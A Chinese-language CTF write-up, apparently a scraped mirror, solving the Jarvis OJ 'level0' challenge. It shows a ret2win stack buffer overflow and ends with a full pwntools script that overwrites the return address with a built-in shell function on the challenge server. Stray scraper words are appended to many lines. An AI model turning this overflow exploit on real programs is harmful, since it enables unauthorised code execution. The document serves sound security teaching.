Jarvis OJ - [XMAN]level0 - Writeup

Jarvis OJ - [XMAN]level0 - Writeup

M4x原創,轉載請標明出處http://www.cnblogs.com/WangAoBo/p/7591552.htmlhtml

來補jarvis pwn的分析了,以後幾天會全都補回來python

tell me something與level0相似,再也不寫詳細Writeupshell

題目:

分析:

  • 拿到文件先checksec檢查保護機制函數

    No canary found, No PIE,妥妥的棧溢出spa

  • 拖到64位IDA中查看詳細信息,先搜索字符串,直接就有了/bin/sh。。。debug

  • 雙擊定位到字符串出現位置,進入callsystem函數,F5反彙編,發現了一個已經寫好的能夠get shell的函數code

  • 再查看vulnerable_function函數,read能夠讀入0x200,即512個字符,而從buf到vulnerable_function的返回地址只有0x80+0x8,即136個字節 < 512,所以能夠覆蓋vulnerable_function的返回地址爲call_system函數地址,便可getshell,此時程序的流程以下圖:htm

    灰色箭頭表明覆蓋vulnable_function返回地址以前的執行順序blog

步驟:

  • 根據如上分析,直接放exputf-8

     1 #!/usr/bin/env python
     2 # -*- coding: utf-8 -*-
     3 __Auther__ = 'M4x'
     4 
     5 from pwn import *
     6 
     7 context.log_level = 'debug'
     8 
     9 elf = ELF('./level0')
    10 callsys_addr = elf.symbols['callsystem']
    11 
    12 #  io = process('./level0')
    13 io = remote('pwn2.jarvisoj.com', 9881)
    14 io.recvuntil('World\n')
    15 
    16 payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)
    17 io.send(payload)
    18 
    19 io.interactive()
    20 io.close()

     

    運行,cat flag以下

相關文章
相關標籤/搜索